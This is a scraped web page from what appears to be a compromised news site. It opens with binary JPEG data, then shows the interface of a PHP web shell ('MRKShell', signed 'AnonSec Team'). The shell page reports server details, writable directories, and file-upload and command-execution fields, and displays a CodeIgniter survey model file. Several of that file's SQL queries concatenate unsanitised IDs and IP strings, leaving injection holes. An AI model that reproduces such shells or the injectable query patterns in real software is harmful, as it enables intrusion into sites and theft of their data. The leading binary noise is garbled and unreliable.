JFIF # -$)%7&).0444#9?92>-240 5+#+4;224;652252222225222220222522225222522;2225222222"B!1AQa"q2B#R3br5CS/!12AQ"aRq#3 ??;}q7:bd%Ո>L8/$rsrQٷf=+e: Rb0Z6pN۰7b 1S`JAT K,-֥7(bNRb9CsD/s,9?}+KA]`,EΞ@@ 3ukq14""tD@D@D@D@D@D@D@D@D@D@D@ȓ|:^Yw-)G%AI/9pwVSнm@6=g7AA5tg18gj>F'J,{C3(q<*#AzX?[$va:Q4SԽ7Uԥ&,c}nF;3mO$DN}RySm\*I"}b%7GLj;gp{{FYs(p_xOJFtStǸMU蓰s95"#H'Uq>7F5[}>v%'Y,&CqMzn}m*Xo vl˳hrӦ V)))g`7$sz^%I-1leE]y%݉>?f}( *BNNñ𜤢S[i'T1 ӥԊ>NlHď~)pKw1.UsD LI/k]Sr\r=ߴMAZNKi+P}| qBS*G*z:Imk\_|l6A7߉H\z0賈'Zt_\u>4 {\#O[ERxzLvP wOLT C0ȴ]BAʷ7uNNINS,(DDDDDDDL8MY݂N$ dMK׭i2FesmNQ=?omKv]OVl^@&pɴ[t5+E`oy.E]Ϳ}$g(7y7&X+imcT\(cHɤ|=. C =yȗXʧpv=&cX*[X_i4 GtfFՓnbMjR@ thv4LO I0zlU-_*G!cH9`nԿ \k-~rS*c[}9]qbi~+%)(h($ s;dՒG_\ё[Q,plq!pEſA RZU0*\n]a~Md_3EZ { &8e:jR*dAkyۛs\B˞0Z5%6e`3;0slSx+Xȇ"*ozkE"vܬWاQ8r @ m5$ [/KNFycgrۑ@ {""""""|xd*@s7o~7BSG|܎vøGtЍL١ѬnK/, f~^~l/Ij+!JI'^;{˚*hӤJarʮ)ڱ[P^$;%.V FLJW̔?2ԭUpJe,~b%iW Yhz̻FAl|3ln"M4kM@$2wmͣp8JY)ݬ.]3vԩİ(P*Tb/1FXTg KŮ*C9jE[69d!GZȩMu!5`H\Cp"=wSAmJjCn&/*Q[kQ~b"zΕ~)aA(2EZ0(FÑp.66_φk}T5 YdRarK ɽLSj"SnR-N-Mz~F^Igb Jq(~X fH'Ӵp5_HN(ܰ,Ȍ䶛DK%a~?FuI}"p=U+j}'p&I_ɑ-x!IٮM:w|q;9M?.6x:ODѪ̬zTL`t^?8xJ$ Q cL4d/_xy ˔ SPGNgwSrrS/`5ӧKj ,hTpI=LѦ(,Pc4*4iESO?5sMz<`&_bsTO)fkX[ xqq::h9ifVۉ\_R }JVg~Jzm`(]:O &6IOghX6+HM 7X]RkUr{HL-"< >~28b{[><@6gF5&\1̹nVŕonZM7 (SF$l\sM];owE+IֹȫzɲDߌPcMQMG)b,N ;*!uo&rHT`s^7įĴz0?P&Ҫ3]@H:hڢFҢM~p{&0s?k}+Ι9׵mw >?"fs+Odٯ̌m(R9T:UpbkW=F*ZQh urk8C8@ҧeUԀyKS '.UP,NBcpFS6n=AJl*7 4<(XY_Cda/D=()b,{yHL>[jrǹ7#M7fO`o/w]GȈEU2f\?7a)#봙݂͠SEg>VRdPfF@PV"Ꮷ_(qCJG_0?1[% NKu$7&ۭ ߡ26U$`/ 3ES:/nek |\tmSg5 س}6/qDT "(*sP4SrX)%T(6y%_ Z9<%]B}oyyY"]76*U*vjijw i3D̍IS \Jnn9ۋ>%o;~)5u56槡'z* B5#5

5#a`,>1TW{Xɘ}G4"ҕ4z5F>e6*[\;%*U0LUUr2cpnݢkɜY͌3+bG0#el۴oe,,jO*M1X/3z)W^,p>s{ İQs:ޝd|w :fIe$~+ajXjnT80'S>KIUP&kNϒT=XlȞNڞ]Yz_K[Qׂގ\gq!nB@IoG *l;_뼳\RUeэkm)qh傢5KNz٘6ba:671k{  $N vfN]S7gxg=VjG;wBx t~l/"ʭl=ԝ6n[Dٛ]@"x)# E):\8Bvkcpv4O*;coJ?4ªMCA'.\zVð'w1USݻSlTyj/ gʕ,:S')ܴ]7!A^b%P׶ٮհU3 o\}XTp,e 597n}dk6UFrVǧ3qaR:BWn>Ѻ}oxKӦK)kܑKL tCs1#?升 v{r:u)?#ZxM=ڝYـ#e}JHBGTG>GsܞG2+~R̅Hש)$[*Hfx-ugx({ I7λwvYm~ |e'X#db@hW,0H8*J5AъA`;jȊY*&sh8Jn]"M>l3z%Րsy=Um'qF sX %,Uv|0W`Gzcy*V0'3R`5ޓ Hڙ>PWbw7;)[U(:krm>/ QU+)P>Hm!r -evY>wT7ԝe)^6_SN⚓ϫ('?2Sj5,[پd|+_Pv'[]t'mΝ2l}z/dz^E|"'J qED)R2ƂSg`9Ոu5~ d!G%>M6%pdcP-P L`ϼTQnA_,24G GneRn,XnߕSzV$ReBfZuE ,Z(yi?vO!clOYA [; c I|vCom+Hꡤ\eaӴ;XS|v4%FcϷAQ[yϢ_s+Ơ&pt}=%^Sb"#gĀ'[ oAUPzr;ȔZTy4t>f種ً>T؟GRgC^-WЖukS,G LV$ܱO餰%cp)[*X_v$@DDӢ3bE-V0֍?zySyadd\ j5": Bxi?;3a]1]ZFD澙rc|8uz/ CȎ3UTqb4'ҥX 6KʖYT2fPe$6 lGzSQTP} OL1q^*rxջQ_K?'?=V MR K IS HERE

MRKShell
Server IP : 172.67.193.120  /  Your IP : 172.71.28.168
Web Server : nginx/1.14.1
System : Linux comtuc2-s-2vcpu-8gb-160gb-intel-nyc3 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User : nginx ( 991)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/comunicacion/produccion/sitio/application/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/comunicacion/produccion/sitio/application/models/encuesta.php
<?php

class Encuesta extends CI_Model {

    function __construct() {
        //parent::Model();
        parent::__construct();
    }

    public function dameEncuestasNota($nota_id) {
        $this->db->select("e.id, e.encuesta, e.tipo, e.fechaInicio, e.horaInicio, e.fechaFin, e.horaFin,
		e.ruta_img, e.imagen");
        $this->db->from("encuesta e");
        $this->db->join("relacion r", "r.objeto_id = e.id and r.tipo = 6", "inner");
        $this->db->where("r.nota_id", $nota_id);
        $this->db->where("e.habilitada", 1);
        $this->db->order_by("r.orden", "asc");
        $query = $this->db->get();
        if ($query->num_rows() > 0) {
            $res = $query->result_array();
            foreach ($res as $indice => $enc) {
                $res[$indice]['opciones'] = $this->dameOpciones($enc['id'], true);
                $nombre = $enc['encuesta'];
                $nombre = str_replace("á", "a", $nombre);
                $nombre = str_replace("é", "e", $nombre);
                $nombre = str_replace("í", "i", $nombre);
                $nombre = str_replace("ó", "o", $nombre);
                $nombre = str_replace("ú", "u", $nombre);
                $nombre = str_replace("ñ", "n", $nombre);
                $nombre = str_replace(",", "", $nombre);
                $nombre = str_replace(";", "", $nombre);
                $nombre = str_replace(":", "", $nombre);
                $nombre = str_replace("(", "", $nombre);
                $nombre = str_replace(")", "", $nombre);
                $nombre = str_replace("'", "", $nombre);
                $nombre = str_replace('"', "", $nombre);
                $nombre = str_replace(" ", "-", $nombre);
                $nombre = str_replace("?", "", $nombre);
                $nombre = str_replace("¿", "", $nombre);
                $res[$indice]['url'] = $nombre;
            }
            return $res;
        } else
            return false;
    }

    public function dameOpciones($id_encuesta, $orden_votos = false) {
        $this->db->select("id,opcion, descripcion, votos, imagen, ruta_img, votos_aux, orden");
        $this->db->from("encuesta_opcion");
        $this->db->where("encuesta_id", $id_encuesta);
        $this->db->where("habilitada", 1);
        if ($orden_votos)
            $this->db->order_by("votos", "desc");
        else
            $this->db->order_by("orden", "asc");
        $query = $this->db->get();
        if ($query->num_rows() > 0) {
            $res = $query->result_array();
            return $res;
        } else
            return false;
    }

    public function verificarVotacion($encuesta_id, $ip_origen) {
        $this->db->select("id");
        $this->db->from("encuesta_auditoria");
        $this->db->where("encuesta_id", $encuesta_id);
        $this->db->where("ip", $ip_origen);
        $query = $this->db->get();
        if ($query->num_rows() > 0) {
            return true;
        } else
            return false;
    }

    public function registrarVoto($encuesta_id, $opcion_id, $ip_origen) {
        $query = "UPDATE encuesta_opcion SET votos = votos + 1 WHERE id = " . $opcion_id;
        if ($this->db->query($query)) {
            $this->insertAuditoria($encuesta_id, $opcion_id, $ip_origen);
            return true;
        } else
            return false;
    }

    public function votaEncuOpinion($encuesta_id, $opcion_id, $ip) {
        $sql = "select f_votar_encuesta_opcion($encuesta_id, $opcion_id, '$ip') as votos";
        $query = $this->db->query($sql);
        if ($query->num_rows() > 0) {
            $res = $query->result_array();
            return $res[0]['votos'];
        } else
            return false;
    }

    public function insertAuditoria($encuesta_id, $opcion_id, $ip_origen) {
        $datos['encuesta_id'] = $encuesta_id;
        $datos['opcion_id'] = $opcion_id;
        $datos['ip'] = $ip_origen;
        $datos['fecha'] = date('Y-m-d H:i:s');
        if ($this->db->insert("encuesta_auditoria", $datos))
            return true;
        else
            return false;
    }

    public function dameEncuestasUltimas($encuesta_id = "") {
        $sql = "SELECT id, encuesta, tipo, fechaInicio, horaInicio, fechaFin, horaFin,
		ruta_img, imagen 
		FROM encuesta 
		WHERE habilitada = 1";

        $sql .= " ORDER BY id desc";
        $sql .= " LIMIT 30";

        $query = $this->db->query($sql);
        if ($query->num_rows() > 0) {
            $res = $query->result_array();
            foreach ($res as $indice => $enc) {
                $res[$indice]['opciones'] = $this->dameOpciones($enc['id']);
            }
            return $res;
        } else
            return false;
    }

    public function dameEncuestas($start, $limit) {
        $sql = "SELECT id, encuesta, tipo, fechaInicio, fechaFin, horaInicio, horaFin, compartidos, ruta_img, imagen,  
		DATE_FORMAT(fechaFin,'%d-%m-%Y') as fecha_fin, DATE_FORMAT(fechaAlta,'%d-%m-%Y') as fechaaud
		FROM encuesta 
		WHERE habilitada = 1 and tipo < 3";

        $sql .= " ORDER BY id desc";
        $sql .= " LIMIT " . $start . "," . $limit;

        $query = $this->db->query($sql);
        if ($query->num_rows() > 0) {
            $res = $query->result_array();
            foreach ($res as $indice => $enc) {
                $res[$indice]['opciones'] = $this->dameOpciones($enc['id']);
                if ($enc['fechaaud'] != "" and $this->diasDiferencia(date('d-m-Y'), $enc['fechaaud']) <= 7)
                    $res[$indice]['comentarios'] = $this->dameCantComentariosMin($enc['id']);
                else
                    $res[$indice]['comentarios'] = $this->dameCantComentarios($enc['id']);
            }
            return $res;
        } else
            return false;
    }

    public function dameCantComentarios($encuesta_id) {
        $sql = "select count(id) as total from comentario where objeto_id = " . $encuesta_id . " and tipo = 6";
        $query = $this->db->query($sql);
        if ($query->num_rows() > 0) {
            $res = $query->result_array();
            return $res[0]['total'];
        } else
            return 0;
    }

    public function dameCantComentariosMin($encuesta_id) {
        $sql = "select count(id) as total from comentario_min where objeto_id = " . $encuesta_id . " and tipo = 6";
        $query = $this->db->query($sql);
        if ($query->num_rows() > 0) {
            $res = $query->result_array();
            return $res[0]['total'];
        } else
            return 0;
    }

    public function dameEncuestasUltimasVencidas($start = 0) {
        $sql = "SELECT id, encuesta, tipo, fechaInicio, horaInicio, fechaFin, horaFin,
		ruta_img, imagen 
		FROM encuesta 
		WHERE habilitada = 1 AND fechaFin < CURRENT_DATE";

        $sql .= " ORDER BY id desc";
        $sql .= " LIMIT " . $start . ",20";

        $query = $this->db->query($sql);
        if ($query->num_rows() > 0) {
            $res = $query->result_array();
            foreach ($res as $indice => $enc) {
                $res[$indice]['opciones'] = $this->dameOpciones($enc['id']);
            }
            return $res;
        } else
            return false;
    }

    public function dameEncuestasUltimasActuales() {
        $sql = "SELECT id, encuesta, tipo, fechaInicio, horaInicio, fechaFin, horaFin,
		ruta_img, imagen 
		FROM encuesta 
		WHERE habilitada = 1 AND fechaFin >= CURRENT_DATE";

        $sql .= " ORDER BY id desc limit 15";

        $query = $this->db->query($sql);
        if ($query->num_rows() > 0) {
            $res = $query->result_array();
            foreach ($res as $indice => $enc) {
                $res[$indice]['opciones'] = $this->dameOpciones($enc['id']);
            }
            return $res;
        } else
            return false;
    }

    public function dameEncuesta($encuesta_id, $orden_votos = false) {
        $sql = "select id, encuesta, tipo, fechaInicio, horaInicio, fechaFin, horaFin, compartidos, ruta_img, imagen, 
		DATE_FORMAT(fechaAlta, '%d-%m-%Y') as fechaaud, DATE_FORMAT(fechaFin, '%d-%m-%Y') as fecha_fin, 
		DATE_FORMAT(fechaInicio, '%d-%m-%Y') as fecha_inicio 
		from encuesta 
		where id = " . $encuesta_id . " and habilitada = 1";

        $query = $this->db->query($sql);
        if ($query->num_rows() > 0) {
            $res = $query->result_array();
            $res[0]['opciones'] = $this->dameOpciones($res[0]['id'], $orden_votos);
            $res[0]['notas'] = $this->dameNotasRel($res[0]['id']);
            return $res[0];
        } else
            return false;
    }

    public function dameEncuestaMin($encuesta_id) {
        $sql = "select id, encuesta from encuesta where id = " . $encuesta_id;
        $query = $this->db->query($sql);
        if ($query->num_rows() > 0) {
            $res = $query->result_array();
            return $res[0];
        } else
            return false;
    }

    public function dameNotasRel($encuesta_id) {
        $sql = "select n.id, n.titulo, 
		(select t.nombre 
			from tag t 
			inner join relacion_tag rt on (rt.tag_id = t.id and rt.tipo=5) 
			where rt.nota_id = n.id limit 1
		) as seccion 
		from nota n 
		inner join relacion r on (r.nota_id = n.id and r.tipo=6) 
		where r.objeto_id = " . $encuesta_id . " and n.habilitada = 1";
        $query = $this->db->query($sql);
        if ($query->num_rows() > 0) {
            $res = $query->result_array();
            return $res;
        } else
            return false;
    }

    public function dameEncuestaHome() {
        $this->db->select("id, encuesta, tipo, fechaInicio, horaInicio, fechaFin, horaFin,
		ruta_img, imagen, habilitada");
        $this->db->from("encuesta");
        $this->db->where("home", 1);
        $this->db->where("habilitada", 1);
        $this->db->order_by("id", "desc");
        $this->db->limit('1');
        $query = $this->db->get();
        if ($query->num_rows() > 0) {
            $res = $query->result_array();
            $res[0]['opciones'] = $this->dameOpciones($res[0]['id']);
            return $res[0];
        } else
            return false;
    }

    public function dameUltimaActiva($activa = 0) {
        $this->db->select("id, encuesta, tipo, fechaInicio, horaInicio, fechaFin, horaFin,
		ruta_img, imagen");
        $this->db->from("encuesta");
        $this->db->where("habilitada", 1);
        if ($activa == 1)
            $this->db->where("fechaFin >= CURRENT_DATE");
        $this->db->order_by("id desc");
        $this->db->limit("1");
        $query = $this->db->get();
        if ($query->num_rows() > 0) {
            $res = $query->result_array();
            $res[0]['opciones'] = $this->dameOpciones($res[0]['id']);
            return $res[0];
        } else
            return false;
    }

    public function cargarEncuestaEnLayout() {
        $this->db->select("id, encuesta");
        $this->db->from("encuesta");
        $this->db->where("habilitada", 1);
        $this->db->where("tipo !=", 3);
        $this->db->where("fechaFin >=", date('Y-m-d'));
        $this->db->where("fechaInicio <=", date('Y-m-d'));
        $query = $this->db->get();
        if ($query->num_rows() > 0) {
            $res = $query->result_array();
            return $res;
        } else
            return false;
    }

    public function existe_encuesta($id, $hash_id) {
        $this->db->select("e.id,c.id as id_cont");
        $this->db->from("encuesta e");
        $this->db->join("mockup_contenidos c", "c.id_contenido=e.id", "inner");
        $this->db->where("c.hash_id", $hash_id);
        $this->db->where("c.tipo", 6);
        $this->db->where("e.id", $id);
        $query = $this->db->get();
        $res = $query->result_array();
        if (count($res) > 0)
            return $res[0]['id_cont'];
        else
            return false;
    }

    public function actualizar_encuesta_caja($id_cont, $id, $caja_id, $hash_id, $i) {
        $datos['hash_id'] = $hash_id;
        $datos['caja_id_aux'] = $caja_id;
        $datos['orden_aux'] = $i;
        $this->db->where('id', $id_cont);
        //$this->db->where('id_contenido', $id);
        if ($this->db->update('mockup_contenidos', $datos))
            return true;
        else
            return false;
    }

    public function crear_encuesta_caja($id, $caja_id, $hash_id, $i) {
        $this->db->set('hash_id', $hash_id);
        $this->db->set('id_contenido', $id);
        $this->db->set('tipo', 6);
        $this->db->set('caja_id_aux', $caja_id);
        $this->db->set('orden_aux', $i);
        $this->db->insert('mockup_contenidos');
        return true;
    }

    public function dame_array_opciones($id_encuesta) {
        $this->db->select("id,opcion, descripcion, ruta_img, imagen");
        $this->db->from("encuesta_opcion");
        $this->db->where("encuesta_id", $id_encuesta);
        $this->db->where("habilitada", 1);
        $this->db->order_by("orden", "asc");
        $query = $this->db->get();
        $res = $query->result_array();
        return $res;
    }

    public function diasDiferencia($fecha_mayor, $fecha_menor) {
        $dia_mayor = substr($fecha_mayor, 0, 2);
        $mes_mayor = substr($fecha_mayor, 3, 2);
        $anio_mayor = substr($fecha_mayor, 6, 4);

        $dia_menor = substr($fecha_menor, 0, 2);
        $mes_menor = substr($fecha_menor, 3, 2);
        $anio_menor = substr($fecha_menor, 6, 4);

        $segundos_mayor = mktime(0, 0, 0, $mes_mayor, $dia_mayor, $anio_mayor);
        $segundos_menor = mktime(0, 0, 0, $mes_menor, $dia_menor, $anio_menor);

        $diferencia_segundos = $segundos_mayor - $segundos_menor;
        if ($diferencia_segundos < 0) {
            $diferencia_segundos = $diferencia_segundos * (-1);
        } elseif ($diferencia_segundos > 0) {
            $diferencia_dias = $diferencia_segundos / (60 * 60 * 24);
            return $diferencia_dias;
        } else
            return 0;
    }

    public function dameMinConvocatoria($id) {
        $sql = "select id, pregunta as titulo from convocatoria where id = " . $id . " and habilitada = 1";
        $query = $this->db->query($sql);
        if ($query->num_rows() > 0) {
            $res = $query->result_array();
            return $res[0];
        } else
            return false;
    }

    public function dameEncuestasOpinion() {
        $sql = "SELECT id, encuesta, tipo, fechaInicio, fechaFin, horaInicio, horaFin, compartidos, ruta_img, imagen,  
		DATE_FORMAT(fechaFin,'%d-%m-%Y') as fecha_fin, DATE_FORMAT(fechaAlta,'%d-%m-%Y') as fechaaud
		FROM encuesta 
		WHERE habilitada = 1 and tipo = 3";

        $sql .= " ORDER BY id desc";
        $sql .= " LIMIT 5";

        $query = $this->db->query($sql);
        if ($query->num_rows() > 0) {
            $res = $query->result_array();
            foreach ($res as $indice => $enc) {
                $res[$indice]['opciones'] = $this->dameOpciones($enc['id']);
            }
            return $res;
        } else
            return false;
    }

    public function dameUltimaEncuestaSeccion($seccion_id) {
        $this->db->select("e.id, e.encuesta, e.tipo, e.fechaInicio, e.horaInicio, e.fechaFin, e.horaFin,
		e.ruta_img, e.imagen");
        $this->db->from("encuesta e");
        $this->db->join("relacion_otro r", "r.objeto_id1=e.id", "inner");
        $this->db->where("e.habilitada", 1);
        //$this->db->where("e.fechaFin >= CURRENT_DATE");
        $this->db->where("r.objeto_id2", $seccion_id);
        $this->db->where("r.tipo1", 6);
        $this->db->where("r.tipo2", 8);
        $this->db->order_by("e.id desc");
        $this->db->limit("1");
        $query = $this->db->get();
        if ($query->num_rows() > 0) {
            $res = $query->result_array();
            $res[0]['opciones'] = $this->dameOpciones($res[0]['id']);
            return $res[0];
        } else
            return false;
    }

    public function dameUltimaEncuestaBloque() {
        $sql = "select id, encuesta, tipo, fechaInicio, fechaFin, horaInicio, horaFin, compartidos, ruta_img, imagen,  
			DATE_FORMAT(fechaFin,'%d-%m-%Y') as fecha_fin, DATE_FORMAT(fechaAlta,'%d-%m-%Y') as fechaaud
			FROM encuesta 
			WHERE id > 1400 and habilitada = 1 and fechaFin >= CURRENT_DATE 
			order by id desc limit 1";

        $query = $this->db->query($sql);
        if ($query->num_rows() > 0) {
            $res = $query->result_array();

            $res[0]['opciones'] = $this->dameOpciones($res[0]['id']);

            return $res[0];
        } else
            return false;
    }

    public function actualizaCompartidas($objeto_id, $total_compartidas) {
        $sql = "update encuesta set compartidos = " . $total_compartidas . " where id = " . $objeto_id;
        if ($this->db->query($sql))
            return true;
        else
            return false;
    }

    //Metodos para nuevo diagramador
    public function dameEncuestasDiagramador() {
        $sql = "SELECT id, encuesta, tipo, fechaInicio, horaInicio, fechaFin, horaFin,
		ruta_img, imagen 
		FROM encuesta 
		WHERE habilitada = 1 AND fechaFin >= CURRENT_DATE AND id NOT IN (SELECT objeto_id FROM diagramador_bloque_objeto WHERE tipo=2)";

        $sql .= " ORDER BY id desc limit 15";

        $query = $this->db->query($sql);
        if ($query->num_rows() > 0) {
            $res = $query->result_array();
            foreach ($res as $indice => $enc) {
                $res[$indice]['opciones'] = $this->dameOpciones($enc['id']);
            }
            return $res;
        } else
            return false;
    }

}

?>

Anon7 - 2022
AnonSec Team